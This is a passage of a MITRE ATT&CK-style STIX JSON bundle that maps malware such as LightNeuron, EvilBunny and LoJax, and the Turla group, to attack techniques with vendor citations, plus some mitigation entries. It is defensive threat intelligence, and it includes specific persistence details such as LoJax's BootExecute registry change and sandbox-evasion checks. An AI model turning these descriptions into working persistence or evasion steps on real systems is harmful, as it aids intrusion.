            "modified": "2020-03-18T00:52:56.903Z",
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            "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6",
            "external_references": [
                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is capable of modifying email content, headers, and attachments during transit.(Citation: ESET LightNeuron May 2019)",
            "relationship_type": "uses",
            "id": "relationship--973e4318-a08c-491c-afa3-d110f9d87758",
            "type": "relationship",
            "modified": "2019-07-16T17:12:00.733Z",
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        },
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            "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is capable of executing commands via cmd.exe.(Citation: ESET LightNeuron May 2019)",
            "relationship_type": "uses",
            "id": "relationship--91d50267-6892-407e-8e0a-01435e6303a9",
            "type": "relationship",
            "modified": "2020-03-20T02:11:35.508Z",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has the ability to download and execute additional files.(Citation: ESET LightNeuron May 2019)",
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            "id": "relationship--80cc26ad-62b5-49f0-bb8d-bd588bd51585",
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is capable of starting a process using CreateProcess.(Citation: ESET LightNeuron May 2019)",
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            "id": "relationship--abf45442-6ca3-4538-ad21-db2e46f43f67",
            "type": "relationship",
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            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
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                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has a function to delete files.(Citation: ESET LightNeuron May 2019)",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) encrypts its configuration files with AES-256.(Citation: ESET LightNeuron May 2019)",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "(Citation: ESET LightNeuron May 2019)",
            "relationship_type": "uses",
            "id": "relationship--a4d6544d-0d01-4cdd-81e8-4b6382675f10",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.847Z",
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            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
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                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used the API calls NtQuerySystemTime, GetSystemTimeAsFileTime, and GetTickCount to gather time metrics as part of its checks to see if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has executed commands via scheduled tasks.(Citation: Cyphort EvilBunny Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--9aebf2b6-7688-4946-a12e-ea1d8e62e158",
            "type": "relationship",
            "modified": "2020-03-28T21:34:12.157Z",
            "created": "2019-06-28T17:40:32.368Z"
        },
        {
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has executed C2 commands directly via HTTP.(Citation: Cyphort EvilBunny Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--25e11828-0e27-4eb6-afb6-5c048ae9189b",
            "type": "relationship",
            "modified": "2020-03-17T01:07:34.928Z",
            "created": "2019-06-28T17:40:32.372Z"
        },
        {
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            "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has deleted the initial dropper after running through the environment checks.(Citation: Cyphort EvilBunny Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--ad3eb54c-0f67-42b8-b4cf-060ab6057b79",
            "type": "relationship",
            "modified": "2019-07-01T18:16:33.088Z",
            "created": "2019-06-28T17:40:32.405Z"
        },
        {
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            "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used EnumProcesses() to identify how many process are running in the environment.(Citation: Cyphort EvilBunny Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--e2753d61-40d9-45b3-884a-a4c63b1da476",
            "type": "relationship",
            "modified": "2019-07-01T18:16:33.117Z",
            "created": "2019-06-28T17:40:32.407Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has been observed querying installed antivirus software.(Citation: Cyphort EvilBunny Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--e900ada7-1b3a-442d-aa86-5cd16a3a2c00",
            "type": "relationship",
            "modified": "2019-07-01T18:16:33.113Z",
            "created": "2019-06-28T17:40:32.410Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has downloaded additional Lua scripts from the C2.(Citation: Cyphort EvilBunny Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--0109ee05-c2a9-4dcf-80d1-f859500c97c9",
            "type": "relationship",
            "modified": "2019-07-01T18:16:33.116Z",
            "created": "2019-06-28T17:40:32.413Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has created Registry keys for persistence in <code>[HKLM|HKCU]\\\u2026\\CurrentVersion\\Run</code>.(Citation: Cyphort EvilBunny Dec 2014)\t",
            "relationship_type": "uses",
            "id": "relationship--030958f2-615b-4c80-a1ec-38ed335da413",
            "type": "relationship",
            "modified": "2019-07-01T18:16:33.147Z",
            "created": "2019-06-28T17:40:32.416Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has an integrated scripting engine to download and execute Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--8cae93fc-8ba7-462f-a27d-b9b8c289034e",
            "type": "relationship",
            "modified": "2019-07-01T18:16:33.149Z",
            "created": "2019-06-28T17:40:32.419Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396)'s dropper has checked the number of processes and the length and strings of its own file name to identify if the malware is in a sandbox environment.(Citation: Cyphort EvilBunny Dec 2014)\t",
            "relationship_type": "uses",
            "id": "relationship--4ce1ed77-dc5d-42d8-838e-b927dc6d6afb",
            "type": "relationship",
            "modified": "2021-04-02T00:14:14.149Z",
            "created": "2019-06-28T17:40:32.421Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used WMI to gather information about the system.(Citation: Cyphort EvilBunny Dec 2014)",
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                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."
                }
            ],
            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has exploited CVE-2011-4369, a vulnerability in the PRC component in Adobe Reader.(Citation: Cyphort EvilBunny Dec 2014)",
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            "id": "relationship--66cadf3d-bfb7-4b75-a659-06b3cb1bbd37",
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                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has used a malicious Microsoft Exchange transport agent for persistence.(Citation: ESET LightNeuron May 2019)",
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            "id": "relationship--be55801c-82ed-4abe-960f-9bca9d704ffc",
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                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has saved information to a random temp file before exfil.(Citation: Morphisec ShellTea June 2019)",
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                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf",
                    "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019."
                }
            ],
            "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) uses HTTP for C2.(Citation: TrendMicro TropicTrooper 2015)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf",
                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."
                }
            ],
            "description": "[LoJax](https://attack.mitre.org/software/S0397) has loaded an embedded NTFS DXE driver to be able to access and write to NTFS partitions.(Citation: ESET LoJax Sept 2018)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf",
                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."
                }
            ],
            "description": "[LoJax](https://attack.mitre.org/software/S0397) has modified the Registry key <code>\u2018HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute\u2019</code> from <code>\u2018autocheck autochk *\u2019</code> to <code>\u2018autocheck autoche *\u2019</code>.(Citation: ESET LoJax Sept 2018)",
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                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."
                }
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            "description": "[LoJax](https://attack.mitre.org/software/S0397) is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.(Citation: ESET LoJax Sept 2018)",
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                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."
                }
            ],
            "description": "[LoJax](https://attack.mitre.org/software/S0397) is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.(Citation: ESET LoJax Sept 2018)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf",
                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf",
                    "description": "ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."
                }
            ],
            "description": "[LoJax](https://attack.mitre.org/software/S0397) has modified the Registry key <code>\u2018HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute\u2019</code> from <code>\u2018autocheck autochk *\u2019</code> to <code>\u2018autocheck autoche *\u2019</code> in order to execute its payload during Windows startup.(Citation: ESET LoJax Sept 2018)",
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                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can store email data in files and directories specified in its configuration, such as <code>C:\\Windows\\ServiceProfiles\\NetworkService\\appdata\\Local\\Temp\\</code>.(Citation: ESET LightNeuron May 2019)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
            "external_references": [
                {
                    "source_name": "Symantec Waterbug Jun 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has gathered credentials from the Windows Credential Manager tool.(Citation: Symantec Waterbug Jun 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--2188382d-d557-4a81-9713-7ef4cc675e76",
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                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used VBS scripts throughout its operations.(Citation: Symantec Waterbug Jun 2019)\t",
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            "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b",
            "external_references": [
                {
                    "source_name": "Symantec Waterbug Jun 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used WebDAV to upload stolen USB files to a cloud drive.(Citation: Symantec Waterbug Jun 2019) [Turla](https://attack.mitre.org/groups/G0010) has also exfiltrated stolen files to OneDrive and 4shared.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
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                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
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                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has encrypted files stolen from connected USB drives into a RAR file before exfiltration.(Citation: Symantec Waterbug Jun 2019)",
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                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
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                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
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                }
            ],
            "description": "(Citation: Symantec Waterbug Jun 2019)",
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            ],
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            ],
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            ],
            "description": "[HyperBro](https://attack.mitre.org/software/S0398) has used HTTPS for C2 communications.(Citation: Unit42 Emissary Panda May 2019)",
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            ],
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            ],
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                    "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.",
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                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                }
            ],
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            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
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            "id": "relationship--f470dae2-81c9-48c4-aeab-27cebe318a09",
            "type": "relationship",
            "modified": "2020-03-25T23:10:31.952Z",
            "created": "2019-07-15T16:29:18.373Z"
        },
        {
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            ],
            "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "external_references": [
                {
                    "source_name": "Anomali Linux Rabbit 2018",
                    "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
                    "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."
                }
            ],
            "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) acquires valid SSH accounts through brute force. (Citation: Anomali Linux Rabbit 2018)",
            "relationship_type": "uses",
            "id": "relationship--e5ba408f-92d3-404a-b3e1-adcd5d21bc5f",
            "type": "relationship",
            "modified": "2019-07-26T20:18:44.975Z",
            "created": "2019-07-16T16:14:50.400Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "relationship_type": "mitigates",
            "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.  ",
            "id": "relationship--3c5f6c2a-7940-4cdc-8b25-811e33d9b96a",
            "type": "relationship",
            "modified": "2021-04-24T13:40:53.289Z",
            "created": "2019-07-16T17:24:49.784Z"
        },
        {
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            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "relationship_type": "mitigates",
            "description": "Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application whitelisting (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "id": "relationship--00a9c85e-e34e-4b85-a849-38bcb80cc71c",
            "external_references": [
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T14:33:05.880Z",
            "created": "2019-07-16T17:48:35.097Z"
        },
        {
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            "description": "Adversaries install new AppCertDLL binaries to execute this technique. Identify and block potentially malicious software executed through AppCertDLLs functionality by using application whitelisting (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "id": "relationship--c331fa13-9e17-4a90-b59b-cf0fa08f0cd8",
            "external_references": [
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T14:48:05.767Z",
            "created": "2019-07-16T19:05:54.031Z"
        },
        {
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            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "relationship_type": "mitigates",
            "description": "Adversaries can install new AppInit_DLLs binaries to execute this technique. Identify and block potentially malicious software executed through AppInit_DLLs functionality by using application whitelisting (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "id": "relationship--3ed57f95-4962-448a-892b-9b3d1029633a",
            "external_references": [
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T14:52:55.433Z",
            "created": "2019-07-16T19:09:25.417Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication for accounts used with application deployment software.",
            "id": "relationship--a33478a8-f3f4-4d6c-bed2-62112e0cbfc7",
            "type": "relationship",
            "modified": "2020-03-23T15:40:51.414Z",
            "created": "2019-07-16T19:17:34.992Z"
        },
        {
